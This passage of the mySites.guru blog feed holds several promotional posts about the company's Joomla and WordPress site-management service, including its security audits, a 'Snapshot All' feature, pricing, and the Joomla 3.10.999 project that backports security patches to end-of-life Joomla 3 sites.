&lt;p&gt;&lt;strong&gt;When a site gets hacked&lt;/strong&gt;, you need the &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;tools to investigate and fix the hack&lt;/a&gt; yourself, and you need &lt;a href=&quot;https://fix.mysites.guru/&quot;&gt;someone to escalate to for bigger issues&lt;/a&gt;. We&apos;ve got your back on that too.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Handling 100–1,000 websites is a full-time job.&lt;/strong&gt; Or at least it should be. Many agencies can&apos;t spare a person to do it full-time, and many customers don&apos;t want to pay for maintenance - until everything goes wrong.&lt;/p&gt;
&lt;p&gt;You don&apos;t always have time to check every setting on every site, especially the one the customer still hasn&apos;t paid for.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Your datacenter and VPS provider&lt;/strong&gt; only care about power and connectivity. They don&apos;t help with site problems, hacks, or brokenness. It&apos;s never their problem.&lt;/p&gt;
&lt;p&gt;Sometimes you just need &lt;a href=&quot;https://fix.mySites.guru/&quot;&gt;an expert&lt;/a&gt; who can talk the talk with your web host and get them to actually make changes.&lt;/p&gt;
&lt;h3&gt;What mySites.guru gives you beyond updates, backups, and uptime&lt;/h3&gt;
&lt;p&gt;From day one, &lt;a href=&quot;https://mysites.guru/&quot;&gt;mySites.guru&lt;/a&gt; has been an &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;unlimited service at a set price&lt;/a&gt; for &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;unlimited sites&lt;/a&gt;, with a &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;toolset&lt;/a&gt; that goes well beyond what&apos;s listed on the &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;features page&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Every new customer gets a &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;free month of service&lt;/a&gt; so you can use the tools on your own sites and see what&apos;s really going on under the hood.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;ℹ️ Not your typical site management dashboard&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;This is a unique toolset not found elsewhere - security audits, hack detection, and best practice enforcement built into every plan.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h4&gt;The Snapshot&lt;/h4&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;mySites.guru Snapshot&lt;/a&gt; instantly checks your site against a large number of best practice criteria and reports results within seconds, with links to explore any issues found.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h4&gt;The Audit&lt;/h4&gt;
&lt;p&gt;The &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;mySites.guru Audit&lt;/a&gt; goes deeper than the Snapshot. It compiles a list of every file in your webspace and checks each line of code, looking for hacks and malicious patterns.&lt;/p&gt;
&lt;p&gt;What we check for improves daily as more crowdsourced data is added. A &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;hack found on someone else&apos;s site&lt;/a&gt; gets added to the detection rules, so your next audit catches it too.&lt;/p&gt;
&lt;p&gt;We don&apos;t &quot;scan&quot; your site from the outside like some other vendors do. &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;We look at every single line of code&lt;/a&gt; and every image, flag anything suspect, and give you tools to dig into the results. That same deep scan also turns up &lt;a href=&quot;https://mysites.guru/blog/the-hidden-files-lurking-on-your-site-that-you-dont-know-about/&quot;&gt;hidden files most site owners don&apos;t know exist&lt;/a&gt; -- dot-files, leftover scripts, and system files that can become real problems.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-green-200 bg-green-50 p-4 dark:border-green-800 dark:bg-green-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-green-900 dark:text-green-200&quot;&amp;gt;💡 Deep visibility into your sites&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-green-800 dark:text-green-300&quot;&amp;gt;The Snapshot and Audit each include dozens of tools for digging into what&apos;s actually happening on your sites.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h4&gt;Learn More Pages&lt;/h4&gt;
&lt;p&gt;Every tool is well documented. The &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;mySites.guru Learn More pages&lt;/a&gt; explain what we looked for, what we found, why it matters, and link to external resources if you want to go further.&lt;/p&gt;
&lt;h2&gt;What else does mySites.guru offer?&lt;/h2&gt;
&lt;p&gt;Here&apos;s a quick rundown of what else mySites.guru offers. The &lt;strong&gt;&lt;a href=&quot;https://mysites.guru/features/&quot;&gt;Features page&lt;/a&gt;&lt;/strong&gt; has everything, or &lt;a href=&quot;https://manage.mysites.guru/contact&quot;&gt;get in touch&lt;/a&gt; if you have questions.&lt;/p&gt;
&lt;p&gt;For a deeper dive into any of these areas, see our guides on &lt;a href=&quot;https://mysites.guru/guides/agency-multi-site-management/&quot;&gt;multi-site agency management&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;CMS security&lt;/a&gt;, &lt;a href=&quot;https://mysites.guru/guides/managing-cms-updates-at-scale/&quot;&gt;managing updates at scale&lt;/a&gt;, and &lt;a href=&quot;https://mysites.guru/guides/site-monitoring-alerting-guide/&quot;&gt;site monitoring and alerting&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;A Single Dashboard&lt;/a&gt; for &lt;a href=&quot;https://mysites.guru/blog/add-unlimited-joomla-and-wordpress-sites-to-mysites-guru/&quot;&gt;Unlimited Sites&lt;/a&gt;  • &lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Best Practice Checks&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Snapshots&lt;/a&gt; •&lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Suspect Content Tool&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;Periodic Auditing&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Find hacks and backdoors&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/backup-1000s-of-joomla-and-wordpress-sites-with-ease-with-mysites-guru/&quot;&gt;Rock Solid Backups&lt;/a&gt; • Toggle Fixes • &lt;a href=&quot;https://mysites.guru/blog/one-click-login-to-any-joomla-or-wordpress-admin-console-with-mysites-guru/&quot;&gt;One Click Login&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;End-Of-Life Support&lt;/a&gt; •&lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;Version Tracking&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/schedule-your-security-audits-updates-backups-for-your-site-with-mysites-guru/&quot;&gt;Scheduler&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/&quot;&gt;Generate Screenshots&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/keep-an-eye-on-your-joomla-and-wordpress-ssl-certificate-expirations-with-mysites-guru/&quot;&gt;SSL Checks&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/whitelabeled-client-activity-reports-for-joomla-and-wordpress-sites/&quot;&gt;White Label Client Reporting&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;Supports WordPress &amp;amp; Joomla, even very old versions&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/install-a-joomla-extension-or-wordpress-plugin-to-1000-sites-with-ease-using-mysites-guru/&quot;&gt;Mass Plugin Installer&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;Uptime Monitoring&lt;/a&gt;/&lt;a href=&quot;https://mysites.guru/blog/uptime-monitoring-explained/&quot;&gt;Downtime Alerts Explained&lt;/a&gt;/&lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-Time Alerts&lt;/a&gt; • Action Logs •&lt;a href=&quot;https://mysites.guru/blog/top-50-joomla-extensions/&quot;&gt;Extension Management/Tracking&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-joomla-and-wordpress-sites-with-your-whole-team/&quot;&gt;Team Accounts&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/how-to-test-your-site-performance-with-lighthouse-audits-in-mysites-guru/&quot;&gt;Lighthouse Performance Audits&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;Automatic Updates&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/how-to-update-joomla-joomla-extensions-wordpress-and-wordpress-plugins-from-mysites-guru/&quot;&gt;Mass Updates &amp;amp; Upgrades&lt;/a&gt; • Tagging • &lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real Time Alerting&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;Fix a Hack&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;One Click Backup&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/check-your-websites-security-headers-with-mysites-guru/&quot;&gt;Security Headers Checks&lt;/a&gt; •&lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;Unlimited Backup Schedules&lt;/a&gt; • &lt;a href=&quot;https://mysites.guru/blog/uptimerobot-public-status-pages-free-for-all-mysites-guru-subscribers/&quot;&gt;Public Uptime Status Pages&lt;/a&gt;&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>site management</category><category>security audits</category><category>best practice</category><category>hack detection</category><category>wordpress</category><enclosure url="https://mysites.guru/_astro/50.i6u1ZFZs.webp" length="0" type="image/webp"/></item><item><title>Tools for Managing Multiple Sites</title><link>https://mysites.guru/blog/snapshot-all-your-sites-with-one-click-at-mysites-guru-the-joomla-and-wordpress-control-panel/</link><guid isPermaLink="true">https://mysites.guru/blog/snapshot-all-your-sites-with-one-click-at-mysites-guru-the-joomla-and-wordpress-control-panel/</guid><description>The mySites.guru Snapshot All button refreshes version data, security checks and best practice results across every connected site in one click.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;em&gt;Ok another Friday release - we deploy 7 days a week, and especially on a Friday, our favourite day for features to be released&lt;/em&gt; and deployed!&lt;/p&gt;
&lt;p&gt;Earlier in the week we &lt;a href=&quot;https://mysites.guru/blog/backup-all-your-joomla-wp-sites-easily-with-one-button-in-mysites-guru/&quot;&gt;reinstated the &quot;Backup All&quot; sites button&lt;/a&gt;, this time its the &quot;Snapshot All&quot; button!&lt;/p&gt;
&lt;p&gt;One of the most requested features this week was the ability to &lt;strong&gt;update the snapshot of all sites in one go&lt;/strong&gt;. This is useful just before a &lt;a href=&quot;https://mysites.guru/blog/how-to-mass-upgrade-joomla-and-wordpress-sites-from-one-dashboard/&quot;&gt;mass update of Joomla or WordPress sites&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/get-a-quick-snapshot-of-your-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;The mySites.guru snapshot&lt;/a&gt; is the quickest collection of data we run. Whereas the &lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;audit requires us to look at every single file in your webspace&lt;/a&gt;, and then &lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;audit every single line of every single file,&lt;/a&gt; the snapshot is looking for very specific things.&lt;/p&gt;
&lt;p&gt;Some of the data is version numbers, PHP Version, Joomla Version, WordPress Versions, PHP Configuration settings etc.&lt;/p&gt;
&lt;p&gt;Some of the data is specific checks, looking at specific configuration options in your site to ensure you are following all the best practice we are promoting.&lt;/p&gt;
&lt;p&gt;We also &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-a-hacked-joomla-or-wordpress-site-with-mysites-guru/&quot;&gt;look for specific hacks&lt;/a&gt; that are quick to find.&lt;/p&gt;
&lt;h2&gt;Where is the &quot;Snapshot All&quot; button?&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;Actually mySites.guru had this button way back in 2012 when we first launched when we only had a few sites and we did not need to worry about scaling our service&lt;/p&gt;
&lt;p&gt;It was removed when we started getting busy :)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;You can find the new button at the top right of the &lt;a href=&quot;https://mysites.guru/blog/site-information-all-in-one-place-with-mysites-guru/&quot;&gt;main sites overview page&lt;/a&gt;, this page shows some of the version numbers and results of the snapshot.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;p&gt;Once you press this button, we will user a job into our queue for each site, with a short load balancing delay to not overload your web servers, and snapshot each site.&lt;/p&gt;
&lt;p&gt;This will also update the &lt;a href=&quot;https://mysites.guru/blog/automatic-updates-for-any-joomla-extension/&quot;&gt;list of updates available for each site&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You can then carry on using mySites.guru as we will do this in the background for you, and update the data as soon as we receive replies from your web servers.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This is just another example of customers asking for features, and us responding to that feedback - not in a matter of months or weeks, but in hours or days. mySites.guru is the ONLY service that iterates as fast and deploys to production many times a day&lt;/p&gt;
&lt;p&gt;Join us today - &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;get your first month free!&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>snapshot</category><category>joomla</category><category>wordpress</category><category>site management</category><enclosure url="https://mysites.guru/_astro/2new.BCNEEw0O.webp" length="0" type="image/webp"/></item><item><title>The Best Multi-Site Management Dashboard</title><link>https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/</link><guid isPermaLink="true">https://mysites.guru/blog/the-best-dashboard-for-unlimited-joomla-and-wordpress-sites/</guid><description>Manage unlimited WordPress, Joomla and PHP sites from one secure dashboard. Security audits, backups, uptime monitoring and more for GBP 19.99/month.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Over 80,000 WordPress and Joomla sites are connected to mySites.guru. One dashboard to &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-wordpress-sites/&quot;&gt;manage multiple WordPress sites&lt;/a&gt;, run &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;security audits, backups, uptime checks&lt;/a&gt; and everything else. Joomla gets the same features, not a cut-down version.&lt;/p&gt;
&lt;p&gt;The service has been running since 2012 and the &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;price&lt;/a&gt; hasn&apos;t changed once. GBP 19.99 per month, &lt;strong&gt;unlimited sites&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;What do subscribers actually think?&lt;/h2&gt;
&lt;p&gt;We don&apos;t write our own testimonials. Our subscribers post on Twitter/X and other platforms using their own accounts, and we link to those posts on the &lt;a href=&quot;https://mysites.guru/reviews/&quot;&gt;reviews page&lt;/a&gt;. Click through and verify them yourself.&lt;/p&gt;
&lt;h2&gt;What did WPMayor.com say?&lt;/h2&gt;
&lt;p&gt;WPMayor.com published an independent review of mySites.guru: &lt;a href=&quot;https://wpmayor.com/mysites-guru-review/&quot;&gt;read it on their site&lt;/a&gt;. We &lt;a href=&quot;https://mysites.guru/blog/wp-mayor-review-of-mysites-guru/&quot;&gt;wrote some notes&lt;/a&gt; about it too.&lt;/p&gt;
&lt;h2&gt;What do you actually get?&lt;/h2&gt;
&lt;p&gt;Plenty of multi-site dashboards exist. Very few of them handle Joomla, WordPress &lt;em&gt;and&lt;/em&gt; arbitrary PHP webspaces in the &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-wordpress-sites/&quot;&gt;same panel&lt;/a&gt; with identical features across all three. Here&apos;s what&apos;s included:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/learn-the-best-practice-for-joomla-and-wordpress-sites-with-mysites-guru/&quot;&gt;Best practice checks&lt;/a&gt; for every connected site&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/find-hacked-files-and-backdoors-in-joomla-and-wordpress/&quot;&gt;Hacked file and backdoor scanning&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/monitor-your-sites-uptime-with-mysites-guru/&quot;&gt;Uptime monitoring&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/security-audit-tools/&quot;&gt;Line-by-line security audits&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Akeeba Backup and All-In-One-Backup integration with a &lt;a href=&quot;https://mysites.guru/blog/unlimited-backup-schedules/&quot;&gt;flexible backup scheduler&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/get-real-time-alerting-of-modified-files-admin-logins-and-much-more-with-mysites-guru/&quot;&gt;Real-time alerts&lt;/a&gt; when files change or someone logs into an admin panel&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Still running Joomla 1.5.26? That works too. mySites.guru is &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;compatible back to Joomla 1.5.0&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Switching from Joomla to WordPress?&lt;/h2&gt;
&lt;p&gt;Remove the Joomla site, &lt;a href=&quot;https://mysites.guru/blog/manage-multiple-wordpress-sites/&quot;&gt;add the WordPress one&lt;/a&gt;. &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;No extra charge&lt;/a&gt;, no per-site fees. Same subscription, same price since 2012.&lt;/p&gt;
&lt;p&gt;&amp;lt;div class=&quot;not-prose my-6 rounded-lg border border-blue-200 bg-blue-50 p-4 dark:border-blue-800 dark:bg-blue-950&quot;&amp;gt;
&amp;lt;p class=&quot;font-medium text-blue-900 dark:text-blue-200&quot;&amp;gt;ℹ️ Simple pricing&amp;lt;/p&amp;gt;
&amp;lt;p class=&quot;mt-1 text-sm text-blue-800 dark:text-blue-300&quot;&amp;gt;GBP 19.99 per month. Unlimited sites, all features included.&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;&lt;/p&gt;
&lt;h2&gt;Can I try it free for a full month?&lt;/h2&gt;
&lt;p&gt;Sign up, connect your sites, use everything. Cancel before the month ends and you pay nothing. &lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;Here&apos;s how it works&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-get-mysites-guru-for-free-for-a-whole-month/&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Who handles support?&lt;/h2&gt;
&lt;p&gt;mySites.guru support means talking to &lt;a href=&quot;https://www.phil-taylor.com/&quot;&gt;Phil Taylor&lt;/a&gt; directly. Phil built the service, has been in the Joomla ecosystem since the Mambo days, and was one of the top code contributors to Joomla 4. No ticket queue, no first-line script readers. You &lt;a href=&quot;https://fix.mySites.guru/&quot;&gt;talk to the person who wrote the code&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Site hacked? What does cleanup cost?&lt;/h2&gt;
&lt;p&gt;Phil can recover hacked WordPress and Joomla sites for a flat fee, no hourly billing. Details at &lt;a href=&quot;https://fix.mySites.guru/&quot;&gt;fix.mySites.guru&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://fix.mySites.guru/&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;The dashboard is the centrepiece of our &lt;a href=&quot;https://mysites.guru/guides/joomla-agency-handbook/&quot;&gt;Joomla Agency Handbook&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>wordpress</category><category>joomla</category><category>site management</category><category>dashboard</category><enclosure url="https://mysites.guru/_astro/31.MBDvyeXB.webp" length="0" type="image/webp"/></item><item><title>The Joomla 3.10.999 Project</title><link>https://mysites.guru/blog/the-joomla-3-10-999-project/</link><guid isPermaLink="true">https://mysites.guru/blog/the-joomla-3-10-999-project/</guid><description>The Joomla 3.10.999 project backported critical security patches to end-of-life Joomla 3 sites. What it was, why it existed, and what to do now.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Joomla 3 reached &lt;a href=&quot;https://mysites.guru/blog/end-of-life-supported-versions/&quot;&gt;end of life&lt;/a&gt; in August 2023. Since that date, the Joomla Project has not released any further security updates for the 3.x series. If you&apos;re still running Joomla 3, your site is unpatched and exposed.&lt;/p&gt;
&lt;h2&gt;What was the 3.10.999 project?&lt;/h2&gt;
&lt;p&gt;Every time a major Joomla series hits end of life, Phil Taylor publishes what he calls the &quot;dot 999&quot; project. It&apos;s a reference repository: the last official release from the supported series, plus community-sourced security patches to keep sites minimally secure after official support stops.&lt;/p&gt;
&lt;p&gt;Phil did this for Joomla 1.5, Joomla 2.5, and Joomla 3.10. Most of the patches came from community contributors and from Phil&apos;s own work. The projects sit alongside two other long-running community resources: the &lt;a href=&quot;https://mirror.myjoomla.io&quot;&gt;community hosted mirror&lt;/a&gt; (goes back to the Mambo days) and the &lt;a href=&quot;https://corefiles.myjoomla.io&quot;&gt;core files service&lt;/a&gt; (every Joomla file ever officially released).&lt;/p&gt;
&lt;p&gt;All three projects are on GitHub:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/PhilETaylor/Joomla1.5.999&quot;&gt;Joomla 1.5.999&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/PhilETaylor/Joomla2.5.999&quot;&gt;Joomla 2.5.999&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/PhilETaylor/Joomla3.10.999&quot;&gt;Joomla 3.10.999&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These are reference repos only. They document the recommended changes to keep sites minimally secure. They were never intended to be complete, forward-compatible, or tracking the latest PHP releases. There are no custom update servers. You grab what you need and apply it yourself.&lt;/p&gt;
&lt;h2&gt;Still on Joomla 3? Is it time to move?&lt;/h2&gt;
&lt;p&gt;Joomla 3 has been end of life since August 2023, over two and a half years now. The latest supported series is Joomla 6, and the migration tooling has come a long way since the early Joomla 4 days.&lt;/p&gt;
&lt;p&gt;Running an unsupported CMS means no security patches and no compatibility fixes. Hosting providers are already dropping the older PHP versions that Joomla 3 needs, so breakage is coming whether you plan for it or not.&lt;/p&gt;
&lt;p&gt;The 3.10.999 project was always a stopgap, not a destination. If you haven&apos;t migrated yet, now is the time.&lt;/p&gt;
&lt;h2&gt;Can you fix every known Joomla 3 vulnerability with one click?&lt;/h2&gt;
&lt;p&gt;Downloading patches from GitHub and manually editing 55 files per site is fine if you have one or two sites. If you manage dozens or hundreds of Joomla 3 installations, it doesn&apos;t scale.&lt;/p&gt;
&lt;p&gt;That&apos;s why mySites.guru built the Joomla 3 Patch Tool. It&apos;s a single toggle that applies every known security fix from the 3.10.999 project directly to your sites. No manual file edits, no separate subscription.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;Read the full guide to the Joomla 3 Patch Tool&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;How it works&lt;/h3&gt;
&lt;p&gt;The patch tool is in the Site Snapshot for each Joomla 3.10.12 site in your mySites.guru account. Flip the toggle on and the mySites.guru connector compares MD5 hashes of every file that needs patching against the expected patched versions. Anything that doesn&apos;t match gets replaced. Flip it off and the files revert to stock 3.10.12. Fully reversible.&lt;/p&gt;
&lt;h3&gt;What it patches&lt;/h3&gt;
&lt;p&gt;The tool modifies 55 files covering every known vulnerability disclosed since Joomla 3.10.12:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;9 separate XSS vulnerabilities across media selection fields, mail address outputs, filter code, StringHelper, com_fields, wrapper extensions, OutputFilter methods, module chromes, and menu list IDs&lt;/li&gt;
&lt;li&gt;Cache poisoning in pagination&lt;/li&gt;
&lt;li&gt;Open redirects from inadequate URL validation&lt;/li&gt;
&lt;li&gt;Insufficient session expiration in MFA management views&lt;/li&gt;
&lt;li&gt;Environment variable exposure&lt;/li&gt;
&lt;li&gt;ACL violations in multiple core views&lt;/li&gt;
&lt;li&gt;Bug-fix-for-bug-fix patches, where the now-defunct commercial eLTS releases shipped broken code that needed further patching&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The full CVE list with links to every advisory is in the &lt;a href=&quot;https://mysites.guru/blog/how-to-fix-joomla-3-security-issues-with-a-single-click/&quot;&gt;patch tool guide&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;Bulk patching across all your sites&lt;/h3&gt;
&lt;p&gt;Got a fleet of Joomla 3 sites? The patch tool has a bulk view that shows every Joomla 3.10.12 site you manage with individual toggles. One screen, all your sites.&lt;/p&gt;
&lt;p&gt;Jump straight to it at &lt;a href=&quot;https://manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/joomla3eol&quot;&gt;manage.mysites.guru/en/tools/allsites/Joomla/joomlaconfiguration/joomla3eol&lt;/a&gt;.&lt;/p&gt;
&lt;h3&gt;No eLTS subscription required&lt;/h3&gt;
&lt;p&gt;The Joomla Project used to offer a commercial eLTS programme for Joomla 3, but that has since ended. mySites.guru includes all known Joomla 3 security patches as part of your standard subscription. The patches come from the same open-source 3.10.999 project.&lt;/p&gt;
&lt;h3&gt;Patched files show up in audits&lt;/h3&gt;
&lt;p&gt;After patching, your mySites.guru security audit will flag the modified files as Core File Changes, because they are changes to the original 3.10.12 distribution. You can inspect every diff directly in the audit tool, so you always know what changed and why.&lt;/p&gt;
&lt;h2&gt;Why is Joomla 3 still everywhere?&lt;/h2&gt;
&lt;p&gt;Joomla 3 is end of life, but it still runs on a huge number of sites. Joomla&apos;s own usage statistics put 3.10.x at over 35% of reporting installations. If you run a digital agency, you know how it goes: migrating clients takes budget, developer time, and client sign-off. That doesn&apos;t happen overnight, and the sites still need protecting while you work through the backlog.&lt;/p&gt;
&lt;p&gt;The 3.10.999 project and the mySites.guru patch tool are there for exactly that gap. Keep sites secure while you plan and execute the migration to Joomla 6.&lt;/p&gt;
&lt;h2&gt;Get started&lt;/h2&gt;
&lt;p&gt;Add your Joomla 3 sites to mySites.guru, flip the patch toggle, and get on with the migration planning.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;Start your free trial&lt;/a&gt; - no credit card required.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Legacy security is covered in our &lt;a href=&quot;https://mysites.guru/guides/wordpress-joomla-security-guide/&quot;&gt;full security guide for agencies&lt;/a&gt;.&lt;/p&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>joomla</category><category>joomla 3</category><category>security</category><category>end-of-life</category><enclosure url="https://mysites.guru/_astro/mySites.guru-REFRESH-BLACK-9.DPoaOaMs.webp" length="0" type="image/webp"/></item><item><title>Anonymize Data Before Taking Screenshots</title><link>https://mysites.guru/blog/tip-how-to-anonymize-data-before-taking-a-screenshot-of-your-mysites-guru-account/</link><guid isPermaLink="true">https://mysites.guru/blog/tip-how-to-anonymize-data-before-taking-a-screenshot-of-your-mysites-guru-account/</guid><description>Append ?anon=1 to any mySites.guru URL to instantly replace site names, URLs, and user data with randomised values so you can share screenshots safely.</description><pubDate>Mon, 11 Mar 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;We love that people share screenshots of our &lt;a href=&quot;https://mysites.guru/features/&quot;&gt;Joomla and WordPress management tools&lt;/a&gt;, but doing so can reveal live site names, customer names, and URLs. You probably don&apos;t want those immortalized in images, and neither do we.&lt;/p&gt;
